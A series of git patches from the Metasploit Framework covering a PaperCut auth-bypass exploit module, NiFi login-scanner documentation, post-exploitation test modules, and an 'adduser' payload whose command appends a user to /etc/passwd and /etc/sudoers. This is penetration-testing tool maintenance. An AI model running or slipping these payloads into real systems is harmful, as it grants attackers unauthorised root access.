a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -28,7 +28,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => ['catatonicprime'], 'References' => [ - ['CVE', '2023–27350'], + ['CVE', '2023-27350'], ['ZDI', '23-233'], ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'], ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'], From 6351c66b1e4ea248b6b3dc3f707e3a6b35955b1e Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Wed, 31 May 2023 08:56:13 -0700 Subject: [PATCH 243/415] Update modules/exploits/multi/http/papercut_ng_auth_bypass.rb Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 32d66bed3b3ea..3ecd0116c40c6 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From ccbdd7870e3593c8a1b43285a75559ab7c86dc11 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 31 May 2023 11:57:42 -0500 Subject: [PATCH 244/415] Update documentation --- .../scanner/http/apache_nifi_login.md | 44 ++++++++++++++----- 1 file changed, 32 insertions(+), 12 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md index fa44390577fb0..b90ff149545bc 100644 --- a/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md +++ b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md @@ -27,7 +27,7 @@ docker run -p 8080:8080 -d apache/nifi:1.13.0 Versions > 1.13.0 dynamically create a username and password. To view them in the docker logs, use the following command: ``` -docker log | grep Generated +docker logs | grep Generated ``` @@ -72,20 +72,40 @@ msf6 auxiliary(scanner/http/nifi_login) > run [*] Auxiliary module execution completed ``` -### Docker image of Apache NiFi 1.13.0 +### Docker image of Apache NiFi 1.21.0 ``` -msf6 > use auxiliary/scanner/http/nifi_login -msf6 auxiliary(scanner/http/nifi_login) > set rhosts 127.0.0.1 -rhosts => 127.0.0.1 -msf6 auxiliary(scanner/http/nifi_login) > set ssl false -[!] Changing the SSL option's value may require changing RPORT! -ssl => false -msf6 auxiliary(scanner/http/nifi_login) > set rport 8080 -rport => 8080 -msf6 auxiliary(scanner/http/nifi_login) > run +msf6 > use auxiliary/scanner/http/apache_nifi_login +msf6 auxiliary(scanner/http/apache_nifi_login) > set RHOST 127.0.0.1 +RHOST => 127.0.0.1 +msf6 auxiliary(scanner/http/apache_nifi_login) > set RPORT 8443 +RPORT => 8443 +msf6 auxiliary(scanner/http/apache_nifi_login) > set USERNAME test +USERNAME => test +msf6 auxiliary(scanner/http/apache_nifi_login) > set PASSWORD test +PASSWORD => test +msf6 auxiliary(scanner/http/apache_nifi_login) > run + +[*] Checking 127.0.0.1 +[-] 127.0.0.1:8443 - Apache NiFi - Failed to login as 'test' with password 'test' +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/apache_nifi_login) > set USERNAME a43c5a33-1635-46aa-8773-ef65f572fa0e +USERNAME => a43c5a33-1635-46aa-8773-ef65f572fa0e +msf6 auxiliary(scanner/http/apache_nifi_login) > set PASSWORD QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u +PASSWORD => QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u +msf6 auxiliary(scanner/http/apache_nifi_login) > run [*] Checking 127.0.0.1 -[+] 127.0.0.1:8080 - User login not supported, try visiting /nifi to gain access +[+] 127.0.0.1:8443 - Apache NiFi - Login successful as 'a43c5a33-1635-46aa-8773-ef65f572fa0e' with password 'QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/apache_nifi_login) > creds +Credentials +=========== + +host origin service public private realm private_type JtR Format +---- ------ ------- ------ ------- ----- ------------ ---------- +127.0.0.1 127.0.0.1 8443/tcp (https) a43c5a33-1635-46aa-8773-ef65f572fa0e QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u Password + +msf6 auxiliary(scanner/http/apache_nifi_login) > ``` From 2fab56f905437a2935dddd8afc257b27e79df648 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 31 May 2023 13:46:05 -0400 Subject: [PATCH 245/415] Made cachesize dynamic Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- modules/payloads/singles/cmd/unix/adduser.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index c51fc48312cc2..659ae749d0066 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 8 + CachedSize = :dynamic include Msf::Payload::Single include Msf::Sessions::CommandShellOptions From 0e477bdc9ae160cc782c99a4d0a7841446278db4 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 31 May 2023 13:47:29 -0400 Subject: [PATCH 246/415] Used unixcrypt to create encrypted password Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- modules/payloads/singles/cmd/unix/adduser.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index 659ae749d0066..69a692b151a8b 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -76,7 +76,8 @@ def command_string else rand(1010..1999).to_s end - payload_cmd = "echo \'#{user}:#{datastore['PASS'].crypt('Az')}:#{suid}:#{suid}::/:/bin/sh\'>>/etc/passwd" + passwd = UnixCrypt::MD5.build(datastore['PASS'], 'Az') + payload_cmd = "echo \'#{user}:#{passwd}:#{suid}:#{suid}::/:/bin/sh\'>>/etc/passwd" if datastore['RootMethod'] == 'SUDO' if datastore['CheckSudoers'] payload_cmd += ";[ -f /etc/sudoers ]&&(echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)" From d60f21df24b09e899f6e7244272e129911a82201 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 31 May 2023 12:49:42 -0500 Subject: [PATCH 247/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 56 +++++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index e73e6a1aae88c..0d508b2d561c2 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -25588,6 +25588,62 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/http/apache_nifi_login": { + "name": "Apache NiFi Login Scanner", + "fullname": "auxiliary/scanner/http/apache_nifi_login", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "h00die" + ], + "description": "This module attempts to take login details for Apache NiFi websites\n and identify if they are valid or not.\n\n Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0\n Also works against NiFi <= 1.13.0, but the module needs to be adjusted:\n set SSL false\n set rport 8080", + "references": [ + + ], + "platform": "", + "arch": "", + "rport": 8443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-05-31 10:34:10 +0000", + "path": "/modules/auxiliary/scanner/http/apache_nifi_login.rb", + "is_install_path": true, + "ref_name": "scanner/http/apache_nifi_login", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/http/apache_nifi_version": { "name": "Apache NiFi Version Scanner", "fullname": "auxiliary/scanner/http/apache_nifi_version", From 3875947f7dcc598d7aa3c9516ca6ed1f583010a8 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Wed, 31 May 2023 19:15:14 +0000 Subject: [PATCH 248/415] Removing unnecessary assignment --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 3ecd0116c40c6..2d6ea0e5e2c34 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -211,7 +211,7 @@ def check def exploit # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. - @csrf_token ||= bypass_auth + bypass_auth unless @csrf_token if @csrf_token.nil? fail_with Failure::NotVulnerable, 'Target is not vulnerable' end From ab12bee83ea8c0e8c5e1f3e0505ba907244aa074 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 31 May 2023 14:25:02 -0500 Subject: [PATCH 249/415] Fix single quote issue --- test/modules/post/test/file.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index 4e34f9fb912b7..49ab0a086447a 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -1,4 +1,4 @@ -lib = File.join(Msf::Config.install_root, "test", "lib") +lib = File.join(Msf::Config.install_root, 'test', 'lib') $LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' From 1267d067b3a439c65c711b97e4bcdddd58bfb239 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 31 May 2023 15:29:00 -0400 Subject: [PATCH 250/415] move gitlab_subgroup to gitlab_authenticated_subgroup --- ...s_file_read.md => gitlab_authenticated_subgroups_file_read.md} | 0 ...s_file_read.rb => gitlab_authenticated_subgroups_file_read.rb} | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename documentation/modules/auxiliary/scanner/http/{gitlab_subgroups_file_read.md => gitlab_authenticated_subgroups_file_read.md} (100%) rename modules/auxiliary/scanner/http/{gitlab_subgroups_file_read.rb => gitlab_authenticated_subgroups_file_read.rb} (100%) diff --git a/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md b/documentation/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.md similarity index 100% rename from documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md rename to documentation/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.md diff --git a/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb b/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.rb similarity index 100% rename from modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb rename to modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.rb From 9349dd24e30fa741726fc23b1d4f36889a954d5d Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 31 May 2023 13:57:18 -0400 Subject: [PATCH 251/415] Add a proper definition for NtdsCaSecurityExt --- lib/msf/core/exploit/remote/ms_icpr.rb | 11 +++++++++-- lib/rex/proto/crypto_asn1.rb | 16 ++++++++++++++++ 2 files changed, 25 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/remote/ms_icpr.rb b/lib/msf/core/exploit/remote/ms_icpr.rb index 2c3387a1491b8..5071c3d56f3dd 100644 --- a/lib/msf/core/exploit/remote/ms_icpr.rb +++ b/lib/msf/core/exploit/remote/ms_icpr.rb @@ -15,7 +15,8 @@ module Exploit::Remote::MsIcpr include Msf::Exploit::Remote::DCERPC include Msf::Auxiliary::Report - NTDS_CA_SECURITY_EXT = '1.3.6.1.4.1.311.25.2'.freeze + # [2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71) + OID_NTDS_CA_SECURITY_EXT = '1.3.6.1.4.1.311.25.2'.freeze # [2.2.2.7.5 szOID_NT_PRINCIPAL_NAME](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/ea9ef420-4cbf-44bc-b093-c4175139f90f) OID_NT_PRINCIPAL_NAME = '1.3.6.1.4.1.311.20.2.3'.freeze # [[MS-WCCE]: Windows Client Certificate Enrollment Protocol](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-winerrata/c39fd72a-da21-4b13-b329-c35d61f74a60) @@ -347,7 +348,13 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') # @param [OpenSSL::X509::Certificate] cert # @return [String, nil] The SID if it was found, otherwise nil. def get_cert_msext_sid(cert) - get_cert_ext_property(cert, NTDS_CA_SECURITY_EXT, OID_NTDS_OBJECTSID) + ext = cert.extensions.find { |e| e.oid == OID_NTDS_CA_SECURITY_EXT } + return unless ext + + ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.parse(ext.value_der) + return unless ntds_ca_security_ext[:OtherName][:type_id].value == OID_NTDS_OBJECTSID + + ntds_ca_security_ext[:OtherName][:value].value end # Get the User Principal Name (UPN) from the certificate. This is a Microsoft specific extension. diff --git a/lib/rex/proto/crypto_asn1.rb b/lib/rex/proto/crypto_asn1.rb index 9dc36b84fd1c9..99944cb03e801 100644 --- a/lib/rex/proto/crypto_asn1.rb +++ b/lib/rex/proto/crypto_asn1.rb @@ -46,4 +46,20 @@ class EnrollmentNameValuePair < RASN1::Model bmp_string(:value) ] end + + # see: [[MS-WCCE]: 2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71) + class NtdsCaSecurityExt < RASN1::Model + class OtherName < RASN1::Model + sequence :OtherName, implicit: 0, content: [ + objectid(:type_id), + octet_string(:value, explicit: 0, constructed: true) + ] + end + + sequence :NtdsCaSecurityExt, + constructed: true, + content: [ + wrapper(model(:OtherName, OtherName)) + ] + end end From 7f4bda193d1ce6d44ed7b409a3e83aa27699d2c0 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Thu, 1 Jun 2023 10:48:17 +1000 Subject: [PATCH 252/415] Support retrieving Service Pack version on older OSes --- lib/msf/core/post/windows/version.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/msf/core/post/windows/version.rb b/lib/msf/core/post/windows/version.rb index 1533b61f76b2d..d88c6793a13b0 100644 --- a/lib/msf/core/post/windows/version.rb +++ b/lib/msf/core/post/windows/version.rb @@ -98,6 +98,10 @@ def get_version_info_impl else # Pre-Windows 10 service_pack_raw = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CSDVersion', Msf::Post::Windows::Registry::REGISTRY_VIEW_NATIVE) + if service_pack_raw.nil? and major >= 6 + # Some older versions didn't put the Service Pack value in both 32 and 64-bit versions of the registry - look there specifically + service_pack_raw = shell_registry_getvaldata('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CSDVersion', Msf::Post::Windows::Registry::REGISTRY_VIEW_32_BIT) + end service_pack = 0 unless service_pack_raw.nil? match = service_pack_raw.match(/Service Pack (\d+)/) From 46f7f8e7b0da50c37dc8b6f07d08ab6f6c46f0a9 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Thu, 1 Jun 2023 11:31:14 +0100 Subject: [PATCH 253/415] Add module for running all post test modules --- test/lib/module_test.rb | 39 ++++- test/modules/post/test/all.rb | 155 ++++++++++++++++++ test/modules/post/test/cmd_exec.rb | 4 +- test/modules/post/test/file.rb | 4 +- test/modules/post/test/get_env.rb | 4 +- test/modules/post/test/meterpreter.rb | 2 +- test/modules/post/test/railgun.rb | 3 +- .../post/test/railgun_reverse_lookups.rb | 3 +- test/modules/post/test/registry.rb | 3 +- test/modules/post/test/search.rb | 2 +- test/modules/post/test/services.rb | 2 +- test/modules/post/test/unix.rb | 2 +- 12 files changed, 202 insertions(+), 21 deletions(-) create mode 100644 test/modules/post/test/all.rb diff --git a/test/lib/module_test.rb b/test/lib/module_test.rb index 17a5583e88be9..135123238ee83 100644 --- a/test/lib/module_test.rb +++ b/test/lib/module_test.rb @@ -1,7 +1,10 @@ +require 'rex/stopwatch' + module Msf module ModuleTest attr_accessor :tests attr_accessor :failures + attr_accessor :skipped class SkipTestError < ::Exception end @@ -9,13 +12,21 @@ class SkipTestError < ::Exception def initialize(info = {}) @tests = 0 @failures = 0 + @skipped = 0 super end def run_all_tests tests = self.methods.select { |m| m.to_s =~ /^test_/ } tests.each { |test_method| - self.send(test_method) + begin + self.send(test_method) + rescue SkipTestError => e + # If the entire def is skipped, increment tests and skip count + @tests += 1 + @skipped += 1 + print_status("SKIPPED: def #{test_method} (#{e.message})") + end } end @@ -34,8 +45,10 @@ def it(msg = "", &block) return end rescue SkipTestError => e + @skipped += 1 print_status("SKIPPED: #{msg} (#{e.message})") rescue ::Exception => e + @failures += 1 print_error("FAILED: #{msg}") print_error("Exception: #{e.class}: #{e}") dlog("Exception in testing - #{msg}") @@ -49,6 +62,11 @@ def it(msg = "", &block) def pending(msg = "", &block) print_status("PENDING: #{msg}") end + + # @return [Integer] The number of tests that have passed + def passed + @tests - @failures + end end module ModuleTest::PostTest @@ -57,15 +75,20 @@ def run print_status("Running against session #{datastore["SESSION"]}") print_status("Session type is #{session.type} and platform is #{session.platform}") - t = Time.now - @tests = 0; @failures = 0 - run_all_tests + @tests = 0 + @failures = 0 + @skipped = 0 + + _res, elapsed_time = Rex::Stopwatch.elapsed_time do + run_all_tests + end - vprint_status("Testing complete in #{Time.now - t}") - if (@failures > 0) - print_error("Passed: #{@tests - @failures}; Failed: #{@failures}") + vprint_status("Testing complete in #{elapsed_time.round(2)} seconds") + status = "Passed: #{passed}; Failed: #{@failures}; Skipped: #{@skipped}" + if @failures > 0 + print_error(status) else - print_status("Passed: #{@tests - @failures}; Failed: #{@failures}") + print_status(status) end end end diff --git a/test/modules/post/test/all.rb b/test/modules/post/test/all.rb new file mode 100644 index 0000000000000..18b49cd9ef2fb --- /dev/null +++ b/test/modules/post/test/all.rb @@ -0,0 +1,155 @@ +require 'rex' + +lib = File.join(Msf::Config.install_root, "test", "lib") +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) +require 'module_test' + +class MetasploitModule < Msf::Post + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Test all applicable post modules', + 'Description' => %q{ This module run all applicable post modules against the current session }, + 'License' => MSF_LICENSE, + 'Author' => [ 'alanfoster'], + 'Platform' => [ 'linux', 'unix', 'osx', 'windows', 'java' ], + 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ] + ) + ) + end + + def run + available_modules = select_available_modules + session_metadata = "#{session.session_type} session #{session.sid}" + + print_status("Applicable modules:") + print_line( + matching_modules_table(available_modules, header: "Valid modules for #{session_metadata}", with_results: false) + ) + + module_results = run_modules(available_modules) + + print_status("Modules results:") + print_line(matching_modules_table(module_results, header: "Results for #{session_metadata}", with_results: true)) + end + + def select_available_modules + session_platform = Msf::Module::Platform.find_platform(session.platform) + session_type = session.type + + module_results = [] + framework.modules.post.each do |refname, _clazz| + next unless refname.start_with?('test/') && refname != self.refname + mod = framework.modules.create(refname) + + verify_result = { + is_session_platform: mod.platform.platforms.include?(session_platform), + is_session_type: mod.session_types.include?(session_type) + } + verify_result[:is_valid] = verify_result[:is_session_platform] && verify_result[:is_session_type] + module_results << { module: mod, **verify_result } + end + module_results + end + + def run_modules(available_modules) + results = [] + available_modules.each do |available_module| + next unless available_module[:is_valid] + + print_status("Running #{available_module[:module].refname} against session #{datastore["SESSION"]}") + print_status("-" * 80) + + module_replicant = nil + available_module[:module].run_simple( + 'LocalInput' => user_input, + 'LocalOutput' => user_output, + 'Options' => datastore.copy + ) { |yielded_module_replicant| module_replicant = yielded_module_replicant } + + results << { + **available_module, + tests: module_replicant.tests, + passed: module_replicant.passed, + failures: module_replicant.failures, + skipped: module_replicant.skipped, + } + + print_status("-" * 80) + end + results + end + + def matching_modules_table(module_results, header:, with_results:) + name_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + boolean_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new({ 'Yes' => '%grn', 'No' => '%red' }) + rows = module_results.sort_by { |module_result| module_result[:is_valid] ? 0 : 1 }.map.with_index do |module_result, index| + next if with_results && !module_result[:is_valid] + + name_styler.merge!({ module_result[:module].refname => module_result[:is_valid] ? '%grn' : '%red' }) + data = [ + index, + module_result[:module].refname, + module_result[:is_session_platform] ? 'Yes' : 'No', + module_result[:is_session_type] ? 'Yes' : 'No', + ] + + if with_results + data += [ + module_result[:tests].to_s, + module_result[:passed].to_s, + module_result[:failures].to_s, + module_result[:skipped].to_s, + ] + end + + data + end.compact + + table = Rex::Text::Table.new( + 'Header' => header, + 'Indent' => 1, + 'Columns' => [ '#', 'Name', 'is_session_platform', 'is_session_type' ] + (with_results ? ['total', 'passed', 'failures', 'skipped'] : []), + 'SortIndex' => -1, + 'WordWrap' => false, + 'ColProps' => { + 'Name' => { + 'Stylers' => [name_styler] + }, + 'is_session_platform' => { + 'Stylers' => [boolean_styler] + }, + 'is_session_type' => { + 'Stylers' => [boolean_styler] + }, + 'total' => { + 'Stylers' => [] + }, + 'passed' => { + 'Stylers' => [StyleIfGreaterThanZero.new(color: '%grn')] + }, + 'failures' => { + 'Stylers' => [StyleIfGreaterThanZero.new(color: '%red')] + }, + 'skipped' => { + 'Stylers' => [StyleIfGreaterThanZero.new(color: '%yel')] + } + }, + 'Rows' => rows + ) + + table.to_s + end + + class StyleIfGreaterThanZero + def initialize(color:) + @color = color + end + + def style(value) + value.to_i > 0 ? "#{@color}#{value}%clr" : value + end + end +end diff --git a/test/modules/post/test/cmd_exec.rb b/test/modules/post/test/cmd_exec.rb index 1456f9b49b5d8..0b32f5132e363 100644 --- a/test/modules/post/test/cmd_exec.rb +++ b/test/modules/post/test/cmd_exec.rb @@ -15,8 +15,8 @@ def initialize(info = {}) 'Name' => 'Meterpreter cmd_exec test', 'Description' => %q( This module will test the meterpreter cmd_exec API ), 'License' => MSF_LICENSE, - 'Platform' => ['windows', 'linux', 'unix'], - 'SessionTypes' => ['meterpreter'] + 'Platform' => [ 'windows', 'linux', 'unix', 'java', 'osx' ], + 'SessionTypes' => ['meterpreter', 'shell', 'powershell'] ) ) end diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index 49ab0a086447a..daf7bef599109 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -20,8 +20,8 @@ def initialize(info = {}) 'Description' => %q{ This module will test Post::File API methods }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt' ], - 'Platform' => [ 'windows', 'linux', 'unix', 'java' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] + 'Platform' => [ 'windows', 'linux', 'unix', 'java', 'osx' ], + 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ] ) ) diff --git a/test/modules/post/test/get_env.rb b/test/modules/post/test/get_env.rb index 8d903e188337e..f4a718b724e2b 100644 --- a/test/modules/post/test/get_env.rb +++ b/test/modules/post/test/get_env.rb @@ -19,8 +19,8 @@ def initialize(info = {}) 'Description' => %q{ This module will test Post::Common get envs API methods }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell'], - 'Platform' => [ 'windows', 'linux', 'java', 'python' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] + 'Platform' => [ 'windows', 'linux', 'unix', 'java', 'python', 'osx' ], + 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ] ) ) end diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index de2e8140bfa58..8e7bec8ca8045 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -17,7 +17,7 @@ def initialize(info = {}) 'Description' => %q{ This module will test meterpreter API methods }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt'], - 'Platform' => [ 'windows', 'linux', 'java' ], + 'Platform' => [ 'windows', 'linux', 'java', 'osx' ], 'SessionTypes' => [ 'meterpreter' ] ) ) diff --git a/test/modules/post/test/railgun.rb b/test/modules/post/test/railgun.rb index e808c00027015..1d0a4f4a368e9 100644 --- a/test/modules/post/test/railgun.rb +++ b/test/modules/post/test/railgun.rb @@ -16,7 +16,8 @@ def initialize(info = {}) 'Description' => %q{ This module will test railgun api functions }, 'License' => MSF_LICENSE, 'Author' => [ 'Spencer McIntyre' ], - 'Platform' => [ 'linux', 'osx', 'windows' ] + 'Platform' => [ 'linux', 'osx', 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] ) ) end diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index 2d95c0fcd2e93..f1db5881630cf 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -21,7 +21,8 @@ def initialize(info = {}) 'Description' => %q{ This module will test railgun code used in post modules}, 'License' => MSF_LICENSE, 'Author' => [ 'kernelsmith'], - 'Platform' => [ 'windows' ] + 'Platform' => [ 'linux', 'osx', 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] ) ) diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index 42e4d0bd9df4c..636a113da9d3e 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -25,7 +25,8 @@ def initialize(info = {}) 'kernelsmith', # original 'egypt', # PostTest conversion ], - 'Platform' => [ 'windows' ] + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ] ) ) end diff --git a/test/modules/post/test/search.rb b/test/modules/post/test/search.rb index 2dbe5d87813ec..9497757eb0e0a 100644 --- a/test/modules/post/test/search.rb +++ b/test/modules/post/test/search.rb @@ -17,7 +17,7 @@ def initialize(info = {}) 'Description' => %q{ This module will test the meterpreter search method }, 'License' => MSF_LICENSE, 'Author' => [ 'timwr'], - 'Platform' => [ 'windows', 'linux', 'java' ], + 'Platform' => [ 'windows', 'linux', 'java', 'osx' ], 'SessionTypes' => [ 'meterpreter' ] ) ) diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index 07c4d5626ede5..3c8b498c8f277 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -22,7 +22,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'kernelsmith', 'egypt' ], 'Platform' => [ 'windows' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] + 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ] ) ) register_options( diff --git a/test/modules/post/test/unix.rb b/test/modules/post/test/unix.rb index 3c87793a16d9a..047715d5b9f51 100644 --- a/test/modules/post/test/unix.rb +++ b/test/modules/post/test/unix.rb @@ -22,7 +22,7 @@ def initialize(info = {}) 'Description' => %q{ This module will test Post::File API methods }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt'], - 'Platform' => [ 'linux', 'java' ], + 'Platform' => [ 'linux', 'unix', 'java', 'osx' ], 'SessionTypes' => [ 'meterpreter', 'shell' ] ) ) From 4340245b14b2f380bbbfa47a77d224a13392604c Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Thu, 1 Jun 2023 14:18:53 +0100 Subject: [PATCH 254/415] Fix broken binary file upload test on windows sessions --- test/modules/post/test/file.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index 49ab0a086447a..4c78e4f5adda5 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -212,8 +212,9 @@ def test_file def test_binary_files # binary_data = ::File.read("/bin/ls") - binary_data = ::File.read('/bin/echo') + # binary_data = ::File.read('/bin/echo') # binary_data = "\xff\x00\xff\xfe\xff\`$(echo blha)\`" + binary_data = ((0..255).to_a * 500).shuffle.pack("c*") it 'should write binary data' do vprint_status "Writing #{binary_data.length} bytes" t = Time.now From d868d0ec14d5ee8e9aead1b7d181b3b4ffc4b350 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Thu, 1 Jun 2023 11:32:03 -0400 Subject: [PATCH 255/415] Fixed double checking of sudoers Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- modules/payloads/singles/cmd/unix/adduser.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb index 69a692b151a8b..abd5eba5fb14b 100644 --- a/modules/payloads/singles/cmd/unix/adduser.rb +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -81,8 +81,9 @@ def command_string if datastore['RootMethod'] == 'SUDO' if datastore['CheckSudoers'] payload_cmd 